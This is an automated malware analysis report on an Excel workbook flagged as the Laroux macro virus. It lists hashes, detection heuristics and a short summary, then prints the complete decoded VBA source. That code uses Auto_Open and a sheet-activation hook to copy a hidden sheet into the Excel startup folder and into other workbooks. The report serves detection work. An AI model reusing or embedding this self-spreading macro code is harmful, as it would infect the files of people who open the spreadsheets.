Xls.Trojan.Laroux-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 2ca09f82fe3c8d40…

MALICIOUS

Office (OLE)

74.0 KB Created: 2012-11-12 00:44:25 Authoring application: Microsoft Excel First seen: 2015-09-16
MD5: 490769c41f09860cbbb6fbc724de8380 SHA-1: b51c9e9e677dad56fb87a8c62f911723c499bbe7 SHA-256: 2ca09f82fe3c8d4023f9025510fb7cbf840d5f482d252c01dac8391e05355a76
208 Risk Score

Malware Insights

Xls.Trojan.Laroux-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

This Excel file contains VBA macros that exhibit characteristics of a macro virus, specifically identified as 'Xls.Trojan.Laroux-28'. The script attempts to copy itself to the Excel startup path as 'PLDT.XLS', indicating a self-propagation mechanism. The presence of 'Auto_Open' and 'OnSheetActivate' event handlers further supports its malicious intent to spread and potentially execute further actions.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-28
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2134 bytes
SHA-256: fdaa99ccb8b7ea3bea4110c5190d8c47ad1e06ea39cdc11cf5654394c61b6bb9
Detection
ClamAV: Xls.Trojan.Laroux-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pldt"



Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PLDT.XLS")
    If m$ = "PLDT.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("pldt").Visible = True
    Sheets("pldt").Select
    Sheets("pldt").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("pldt").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "pldt" Then
        Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("pldt").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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